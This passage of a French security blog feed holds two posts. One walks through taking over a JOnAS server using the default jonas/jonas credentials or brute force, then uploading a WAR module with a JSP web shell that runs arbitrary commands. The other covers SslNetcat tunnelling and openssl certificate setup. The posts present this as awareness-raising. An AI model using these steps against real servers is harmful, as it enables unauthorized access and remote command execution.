rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9218294967285138539/posts/default/6592848659890008122'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9218294967285138539/posts/default/6592848659890008122'/><link rel='alternate' type='text/html' href='http://mission-security.blogspot.com/2008/06/pentesting-get-access-through-http-form.html' title='[PENTESTING] Get access through HTTP form using Hydra'/><author><name>Jer001</name><uri>http://www.blogger.com/profile/10602250886210141882</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp3.blogger.com/_BhVyBIyY5_8/SFu62BA2SAI/AAAAAAAAALs/vamDTg5aI1A/s72-c/firefox_configuration.JPG' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9218294967285138539.post-3160724417403490641</id><published>2008-06-14T15:29:00.000-07:00</published><updated>2008-06-17T01:35:30.356-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='pentesting'/><title type='text'>[WEB PENTESTING] Hack a JOnAS Web Application</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;em&gt;&lt;span style="color: rgb(153, 153, 153);"&gt;Avec le WEB 2.0, les applications WEB se sont largement multipliées, augmentant dans le même temps les failles de sécurité. Parmi ces applis, nous trouvons JOnAS. Le post suivant propose un scénario d'attaque dans le cas où vous trouveriez cette solution.&lt;/span&gt;&lt;/em&gt;&lt;br /&gt;&lt;/div&gt;&lt;em&gt;&lt;/em&gt;&lt;div style="text-align: justify;"&gt;&lt;em&gt;&lt;span style="color: rgb(153, 153, 153);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/em&gt;&lt;div style="text-align: justify;"&gt;&lt;em&gt;&lt;span style="color: rgb(153, 153, 153);"&gt;&lt;span style="font-size:85%;"&gt;NB : Comme tous les posts de ce blog, la démonstration qui suit n'a de vocation que de sensibiliser  et prévenir et non de porter atteinte à quiconque, ce qui serait illégal  !&lt;/span&gt;&lt;/span&gt;&lt;/em&gt;&lt;em&gt;&lt;/em&gt;&lt;/div&gt;&lt;em&gt;&lt;span style="color: rgb(153, 153, 153);"&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/em&gt;&lt;em&gt;&lt;br /&gt;&lt;/em&gt;&lt;/div&gt;&lt;em&gt;&lt;/em&gt;&lt;strong&gt;&lt;/strong&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;1 - Avoir accès à la page d'administration&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;span&gt;Supposons que nous avons repéré &lt;a href="http://www.blogger.com/jonas.objectweb.org/"&gt;JOnAS&lt;/a&gt; - une application WEB téléchargeable sur *NIX et WIN* - sur un serveur cible, tournant par défaut sur le port &lt;span style="font-family:courier new;"&gt;9000&lt;/span&gt;. Il suffit d'utiliser notre navigateur pour nous retrouver sur la page de la cible (ici, à l'adresse &lt;span style="font-family:courier new;"&gt;192.168.123.123&lt;/span&gt; pour notre démonstration, reposant sur une plateforme Windows mais les tests peuvent aussi être lancer sous *NIX) : &lt;span style="font-family:courier new;"&gt;http://192.168.123.123:9000/jonasAdmin&lt;/span&gt;. &lt;/span&gt;&lt;span&gt;Vous arrivez sur la page suivante :&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp1.blogger.com/_BhVyBIyY5_8/SFRKr87sNoI/AAAAAAAAAKs/oXoC-DTXaNk/s1600-h/admin_page.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://bp1.blogger.com/_BhVyBIyY5_8/SFRKr87sNoI/AAAAAAAAAKs/oXoC-DTXaNk/s400/admin_page.JPG" alt="" id="BLOGGER_PHOTO_ID_5211872787725825666" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span&gt;Par défaut, les credentials sont &lt;span style="font-family:courier new;"&gt;jonas&lt;/span&gt;/&lt;span style="font-family:courier new;"&gt;jonas&lt;/span&gt;, tentez votre chance ! Sinon, il existe de nombreuses méthodes pour trouver le mot de passe s'il a été changé :&lt;br /&gt;&lt;/span&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;&lt;span&gt;Avec &lt;a href="http://www.hoobie.net/brutus/index.html"&gt;Brutus&lt;/a&gt; (cf. la fin du post "&lt;a href="http://mission-security.blogspot.com/2008/04/social-engineering-is-your-money-safe.html"&gt;Is your money safe?&lt;/a&gt;") ;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;Avec &lt;a href="http://freeworld.thc.org/thc-hydra/"&gt;Hydra&lt;/a&gt;. Ce deuxième cas fera l'objet du prochain post.&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;span&gt;&lt;br /&gt;&lt;/span&gt;&lt;span&gt;&lt;br /&gt;&lt;/span&gt;&lt;em&gt;&lt;/em&gt;&lt;strong&gt;&lt;/strong&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;2 - Ajouter le module malicieux&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;&lt;span&gt;Une fois loggé, nous pouvons déployer un nouveau module sur le serveur. Celui-ci, nommé &lt;span style="font-family:courier new;"&gt;mission-security.war&lt;/span&gt;, contiendra les pages malicieuses ... Pour cela, sur la page d'admin de JOnAS :&lt;br /&gt;&lt;/span&gt;&lt;ul&gt;&lt;li&gt;&lt;span&gt;Etendez "&lt;span style="font-style: italic;"&gt;Deployment&lt;/span&gt;" (colonne de gauche) ;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;Cliquez sur "&lt;span style="font-style: italic;"&gt;Web Modules (WAR)&lt;/span&gt;" ;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;Cliquez sur le deuxième onglet "&lt;span style="font-style: italic;"&gt;Upload&lt;/span&gt;" (page principale) ;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;Cliquez sur "&lt;span style="font-style: italic;"&gt;Parcourir&lt;/span&gt;" pour sélectionner le module ;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;Retrouvez le module sur votre machine ;&lt;br /&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;Il ne vous restera plus qu'à cliquer sur le bouton "&lt;span style="font-style: italic;"&gt;Upload&lt;/span&gt;".&lt;br /&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;span&gt;Vous arrivez sur la page suivante :&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp1.blogger.com/_BhVyBIyY5_8/SFRRd7-odMI/AAAAAAAAAK8/IQtSbywG3uo/s1600-h/war_deployment.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://bp1.blogger.com/_BhVyBIyY5_8/SFRRd7-odMI/AAAAAAAAAK8/IQtSbywG3uo/s400/war_deployment.JPG" alt="" id="BLOGGER_PHOTO_ID_5211880243532952770" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Une fois cette opération réussie, il faut :&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Revenir sur le premier onglet, nommé "&lt;span style="font-style: italic;"&gt;Deployment&lt;/span&gt;" ;&lt;/li&gt;&lt;li&gt;Le module uploadé devrait apparaître dans la colonne de gauche de la page principale. Cliquez dessus pour le sélectionné ;&lt;/li&gt;&lt;li&gt;Cliquez sur le bouton "&lt;span style="font-style: italic;"&gt;&gt;&gt;&gt;&lt;/span&gt;" pour le déployer (partie droite) ;&lt;/li&gt;&lt;li&gt;Cliquez sur le bouton "&lt;span style="font-style: italic;"&gt;Apply&lt;/span&gt;" pour finaliser cette étape.&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp2.blogger.com/_BhVyBIyY5_8/SFRTP6BpmhI/AAAAAAAAALE/UeQmvchB-6Q/s1600-h/war_deployment2.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://bp2.blogger.com/_BhVyBIyY5_8/SFRTP6BpmhI/AAAAAAAAALE/UeQmvchB-6Q/s400/war_deployment2.JPG" alt="" id="BLOGGER_PHOTO_ID_5211882201513826834" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Sur la page suivante, cliquez sur "&lt;span style="font-style: italic;"&gt;Confirm&lt;/span&gt;" :&lt;br /&gt;&lt;span&gt;&lt;br /&gt;&lt;/span&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp1.blogger.com/_BhVyBIyY5_8/SFRUg-ZQvGI/AAAAAAAAALM/0FywIzHzv_k/s1600-h/war_deployment3.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://bp1.blogger.com/_BhVyBIyY5_8/SFRUg-ZQvGI/AAAAAAAAALM/0FywIzHzv_k/s400/war_deployment3.JPG" alt="" id="BLOGGER_PHOTO_ID_5211883594256006242" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;em&gt;&lt;/em&gt;&lt;strong&gt;&lt;/strong&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;3 - Exécuter des commandes arbitraires&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;Dans votre navigateur, entrer l'URL : http://192.168.123.123:9000/mission-security/&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp1.blogger.com/_BhVyBIyY5_8/SFRVidQS7UI/AAAAAAAAALU/KQIAL5kbAHg/s1600-h/exploit.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://bp1.blogger.com/_BhVyBIyY5_8/SFRVidQS7UI/AAAAAAAAALU/KQIAL5kbAHg/s400/exploit.JPG" alt="" id="BLOGGER_PHOTO_ID_5211884719231397186" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Maintenant, c'est à votre imagination de jouer mais voici certainement l'exemple le plus convaincant :&lt;br /&gt;&lt;/div&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;Cliquer sur le répertoire "&lt;span style="font-style: italic;"&gt;win32/&lt;/span&gt;" (toujours en admettant que la cible est sous WIN*) ;&lt;/li&gt;&lt;li&gt;puis sur la page "&lt;span style="font-style: italic;"&gt;cmd_win32.jsp&lt;/span&gt;" (ou accessible directement en tapant l'URL &lt;span style="font-family:courier new;"&gt;http://192.168.123.123:9000/mission-security/win32/cmd_win32.jsp&lt;/span&gt;) ;&lt;/li&gt;&lt;li&gt;Tapez la commande de votre choix. Ici, la commande &lt;span style="font-family:courier new;"&gt;dir&lt;/span&gt; en tant qu'exemple.&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp2.blogger.com/_BhVyBIyY5_8/SFRXKrMGCZI/AAAAAAAAALc/5e0eoIKK740/s1600-h/exploit2.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://bp2.blogger.com/_BhVyBIyY5_8/SFRXKrMGCZI/AAAAAAAAALc/5e0eoIKK740/s400/exploit2.JPG" alt="" id="BLOGGER_PHOTO_ID_5211886509678266770" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Plus exactement, le code de cette page est le suivant :&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp2.blogger.com/_BhVyBIyY5_8/SFS5-QQnrHI/AAAAAAAAALk/2YRZOJ1Spo8/s1600-h/exploit3.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://bp2.blogger.com/_BhVyBIyY5_8/SFS5-QQnrHI/AAAAAAAAALk/2YRZOJ1Spo8/s400/exploit3.JPG" alt="" id="BLOGGER_PHOTO_ID_5211995147942210674" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Et maintenant, &lt;span style="font-style: italic;"&gt;Have fun !&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9218294967285138539-3160724417403490641?l=mission-security.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mission-security.blogspot.com/feeds/3160724417403490641/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9218294967285138539&amp;postID=3160724417403490641' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9218294967285138539/posts/default/3160724417403490641'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9218294967285138539/posts/default/3160724417403490641'/><link rel='alternate' type='text/html' href='http://mission-security.blogspot.com/2008/06/web-pentesting-hack-jonas-web.html' title='[WEB PENTESTING] Hack a JOnAS Web Application'/><author><name>Jer001</name><uri>http://www.blogger.com/profile/10602250886210141882</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp1.blogger.com/_BhVyBIyY5_8/SFRKr87sNoI/AAAAAAAAAKs/oXoC-DTXaNk/s72-c/admin_page.JPG' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9218294967285138539.post-1502279256678395692</id><published>2008-06-12T04:31:00.000-07:00</published><updated>2008-06-13T07:48:49.662-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Security Solution'/><title type='text'>[SECURITY TOOL] SSL power with SslNetcat!</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;em&gt;&lt;span style="color: rgb(153, 153, 153);"&gt;Le protocole &lt;a href="http://fr.wikipedia.org/wiki/SSL"&gt;SSL&lt;/a&gt; est largement utilisé et il n'est plus besoin aujourd'hui de le présenter. Mais dans la pratique, il nous est indispensable pour sécuriser les communications par exemple. Aussi, lors de l'audit comme celui d'un site WEB en HTTPS, il nous sera très utile de communiquer via ce protocole pour effectuer nos tests. Un outil va nous servir de couteau-suisse ici, il s'agit de &lt;span style="font-weight: bold;"&gt;SslNetCat&lt;/span&gt;.&lt;/span&gt;&lt;/em&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;em&gt;&lt;/em&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;em&gt;&lt;span style="color: rgb(153, 153, 153);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/em&gt;&lt;em&gt;&lt;br /&gt;&lt;/em&gt;&lt;/div&gt;&lt;em&gt;&lt;/em&gt;&lt;strong&gt;&lt;/strong&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;0 - Préparation et contexte&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;span&gt;Pour la suite de nos travaux pratiques, nous commençons par télécharger le script &lt;/span&gt;&lt;span&gt;&lt;a href="http://www.gomor.org/bin/view/GomorOrg/SslNetcat"&gt;SslNetCat&lt;/a&gt;&lt;/span&gt;&lt;span&gt; disponible &lt;a href="http://www.gomor.org/files/scnc"&gt;ici&lt;/a&gt;. Puisqu'il s'agit d'un script perl, soyons explicite et il sera enregistré ici en tant que scnc.pl. Il faut le télécharger sur une machine cliente ET une machine serveur.&lt;br /&gt;&lt;br /&gt;Pour exécuter le script perl, nous aurons besoin de modules perl. Attention, la liste peut être différente pour votre machine :&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;blockquote&gt;&lt;span&gt;&lt;span style="font-family:courier new;"&gt;# perl -MCPAN -e 'install "Net::SSLeay"'&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span&gt;&lt;span style="font-family:courier new;"&gt;# perl -MCPAN -e 'install "IO::Socket::SSL"'&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;#  &lt;/span&gt;&lt;/span&gt;&lt;span style="font-family:courier new;"&gt; perl -MCPAN -e 'install "Net::Telnet"'&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;#  &lt;/span&gt;&lt;span style="font-family:courier new;"&gt; perl -MCPAN -e 'install "&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;IO::Socket::INET6&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;"'&lt;/span&gt;&lt;/blockquote&gt;&lt;span&gt;&lt;br /&gt;Concernant le contexte, nous avons donc besoin de deux machines. L'OS est indépendant, le tout est que vous puissiez exécuter le script perl téléchargé. Dans notre cas, nous aurons :&lt;br /&gt;&lt;/span&gt;&lt;ul&gt;&lt;li&gt;&lt;span&gt;Une machine serveur sous Linux, 192.168.0.10  (valeur modifiée) ;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;Une machine cliente sous Linux, 192.168.0.20 &lt;/span&gt;&lt;span&gt;(valeur modifiée)&lt;/span&gt; ;&lt;/li&gt;&lt;/ul&gt;Dans la suite de ce post, nous allons reprendre les exemples de l'auteur mais en expliquant de bout en bout les cas pratiques afin que vous puissiez facilement utiliser l'outil. C'est ainsi que nous débuterons dès la génération du certificat par exemple. A noter cependant que si le but est seulement de s'exercer, l'auteur de l'outil propose des certificats et des clés de test.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;&lt;br /&gt;1 - Créer un tunnel SSL pour sécuriser ses communications&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;&lt;span style="font-size:85%;"&gt;NB : Aller directement à la partie 1.2 si vous utilisez les certificats proposés par GomoR.&lt;/span&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;&lt;u&gt;1.1 - Création des certificats&lt;/u&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;1.1.1 - Etablissement de la CA&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Nous utilisons &lt;a href="http://www.openssl.org/"&gt;openssl&lt;/a&gt; (que vous devez avoir mis à jour si vous êtes sous Debian !!! cf. &lt;a href="http://www.securityfocus.com/bid/29179"&gt;vulnérabilité critique&lt;/a&gt;). Aussi, nous devons déterminer une autorité de certification (dénommée ensuite &lt;span style="font-style: italic;"&gt;CA&lt;/span&gt;) pour signer le certificat mais ici, il s'agira d'un certificat auto-signé, quand bien même cela n'a aucune valeur d'un point de vue sécurité, le principe reste identique.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;&lt;blockquote&gt;# openssl req -new -x509 -keyout ca-msblog.key -out ca-msblog.crt&lt;/blockquote&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp1.blogger.com/_BhVyBIyY5_8/SFEvS_8nFEI/AAAAAAAAAJk/bI5C1J31n3o/s1600-h/generation_certif.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://bp1.blogger.com/_BhVyBIyY5_8/SFEvS_8nFEI/AAAAAAAAAJk/bI5C1J31n3o/s400/generation_certif.JPG" alt="" id="BLOGGER_PHOTO_ID_5210998247294178370" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Nous obtenons deux fichiers : &lt;span style="font-family:courier new;"&gt;ca-msblog.crt&lt;/span&gt; (certificat) et &lt;span style="font-family:courier new;"&gt;ca-msblog.key&lt;/span&gt; (clé privée) de la CA.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;1.1.2 - Génération du certificat côté serveur&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;blockquote&gt;# openssl req -new -keyout server-msblog.key -out server-msblog.csr&lt;/blockquote&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp2.blogger.com/_BhVyBIyY5_8/SFE2Ia7yy_I/AAAAAAAAAJs/UDTcHk3Q25k/s1600-h/generation_certif2.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://bp2.blogger.com/_BhVyBIyY5_8/SFE2Ia7yy_I/AAAAAAAAAJs/UDTcHk3Q25k/s400/generation_certif2.JPG" alt="" id="BLOGGER_PHOTO_ID_5211005762141342706" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Puisque le certificat sera signé localement par la CA, nous n'utilisons pas les attributs supplémentaires ("extra"). Deux nouveaux fichiers sont générés : &lt;span style="font-family:courier new;"&gt;server-msblog.key&lt;/span&gt; et &lt;span style="font-family:courier new;"&gt;server-msblog.csr&lt;/span&gt;. Envoyer ce dernier au CA s'il ne s'agit pas de la même machine.&lt;br /&gt;&lt;br /&gt;Commençons par préparer le magasin de certificats pour la CA :&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;&lt;blockquote&gt;# vi /usr/lib/ssl/openssl.conf&lt;/blockquote&gt;&lt;/span&gt;&lt;br /&gt;Trouvez la ligne commençant par &lt;span style="font-family:courier new;"&gt;dir &lt;/span&gt;et modifiez&lt;span style="font-family:courier new;"&gt; ./demoCA &lt;/span&gt;par&lt;span style="font-family:courier new;"&gt; ./msblogCA.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;blockquote&gt;&lt;span style="font-family:courier new;"&gt;# mkdir ./msblogCA&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;# cd msblogCA&lt;br /&gt;# touch index.txt&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;# mkdir newcerts&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;# echo "01" &gt; serial&lt;/span&gt;&lt;/blockquote&gt;&lt;br /&gt;Puis créons le certificat serveur lui-même :&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;&lt;/span&gt;&lt;blockquote&gt;&lt;span style="font-family:courier new;"&gt;# cd ..&lt;/span&gt; &lt;div style="text-align: left;"&gt;&lt;span style="font-family:courier new;"&gt;# openssl ca -cert ca-msblog.crt -keyfile ca-msblog.key -out server-msblog.crt -in server-msblog.csr&lt;/span&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;div style="text-align: left;"&gt;&lt;br /&gt;Acceptez le certificat en tapant '&lt;span style="font-family:courier new;"&gt;y&lt;/span&gt;' quand cela est demandé (deux fois) :&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp2.blogger.com/_BhVyBIyY5_8/SFE-nSJ2TiI/AAAAAAAAAJ0/pmxkDb-iOaI/s1600-h/generation_certif3.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://bp2.blogger.com/_BhVyBIyY5_8/SFE-nSJ2TiI/AAAAAAAAAJ0/pmxkDb-iOaI/s400/generation_certif3.JPG" alt="" id="BLOGGER_PHOTO_ID_5211015088453340706" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Nous venons de créer le certificat &lt;span style="font-family:courier new;"&gt;server-msblog.crt&lt;/span&gt;. Nous avons tous les fichiers nécessaires ;)&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;/div&gt;&lt;u&gt;1.2 - Créer un tunnel de communication chiffré&lt;/u&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;1.2.1 Mettre le serveur en écoute sur le port 12345 et rediriger le trafic sur le port 80&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;blockquote&gt;# perl scnc.pl -vc -a ca-msblog.crt -f server-msblog.crt -k server-msblog.key -p 12345 -r localhost:80&lt;/blockquote&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp0.blogger.com/_BhVyBIyY5_8/SFJMIBtcOHI/AAAAAAAAAKE/SoOP6GHX7p8/s1600-h/tunnel_ssl.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://bp0.blogger.com/_BhVyBIyY5_8/SFJMIBtcOHI/AAAAAAAAAKE/SoOP6GHX7p8/s400/tunnel_ssl.JPG" alt="" id="BLOGGER_PHOTO_ID_5211311419602778226" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;&lt;br /&gt;12.2 Lancer la connexion du client vers le serveur&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;blockquote&gt;# perl scnc.pl -v -s localhost -p 6789 -r server:12345::ssl&lt;br /&gt;&lt;/blockquote&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;2 - Audit d'un serveur Web en HTTPS&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;Il s'agit ici de faire de notre client un proxy SSL qui nous servira à auditer le serveur Web.&lt;br /&gt;&lt;br /&gt;&lt;u&gt;2.1 - Préparation&lt;br /&gt;&lt;br /&gt;&lt;/u&gt;Nous avons besoin d'un certificat et d'une clé privée pour ce client. Ces deux éléments seront générés de la même manière que nous l'avons fait pour le serveur précédemment (cf. 1.1.2). Ainsi, nous obtenons &lt;span style="font-family:courier new;"&gt;client-msblog.crt&lt;/span&gt; et &lt;span style="font-family:courier new;"&gt;client-msblog.key&lt;/span&gt;.&lt;br /&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;&lt;u&gt;2.2 - Tests pour l'audit&lt;br /&gt;&lt;br /&gt;&lt;/u&gt;Pour commencer l'audit, il suffit de se connecter (sur le client avec serveur audité, 192.168.0.10) :&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;# perl scnc.pl -v -r 192.168.0.10:443::ssl -a ca2-msblog.crt -f client-msblog.crt -k client-msblog.key -s localhost -p 1234&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/blockquote&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp0.blogger.com/_BhVyBIyY5_8/SFKHjvqeodI/AAAAAAAAAKk/crg9VKT3Qik/s1600-h/proxy4.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://bp0.blogger.com/_BhVyBIyY5_8/SFKHjvqeodI/AAAAAAAAAKk/crg9VKT3Qik/s400/proxy4.JPG" alt="" id="BLOGGER_PHOTO_ID_5211376766980891090" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;NB : il faudra retourner sur la "machine-proxy", entrer éventuellement la passphrase.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Puis de lancer nos commandes (sur le client toujours - exemple) :&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;# perl scnc.pl -v localhost 1234&lt;br /&gt;# GET / HTTP/1.0&lt;br /&gt;&lt;br /&gt;&lt;/blockquote&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp2.blogger.com/_BhVyBIyY5_8/SFKHfcRZ-HI/AAAAAAAAAKc/S1yEWTn4-OQ/s1600-h/proxy3.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://bp2.blogger.com/_BhVyBIyY5_8/SFKHfcRZ-HI/AAAAAAAAAKc/S1yEWTn4-OQ/s400/proxy3.JPG" alt="" id="BLOGGER_PHOTO_ID_5211376693055977586" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;De même, utiliser l'adresse &lt;span style="font-family:courier new;"&gt;loopback &lt;/span&gt;dans les outils utilisés pour l'audit du serveur HTTPS.&lt;span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9218294967285138539-1502279256678395692?l=mission-security.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mission-security.blogspot.com/feeds/1502279256678395692/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9218294967285138539&amp;postID=1502279256678395692' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9218294967285138539/posts/default/1502279256678395692'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9218294967285138539/posts/default/1502279256678395692'/><link rel='alternate' type='text/html' href='http://mission-security.blogspot.com/2008/06/securithttpwwwbloggercompost.html' title='[SECURITY TOOL] SSL power with 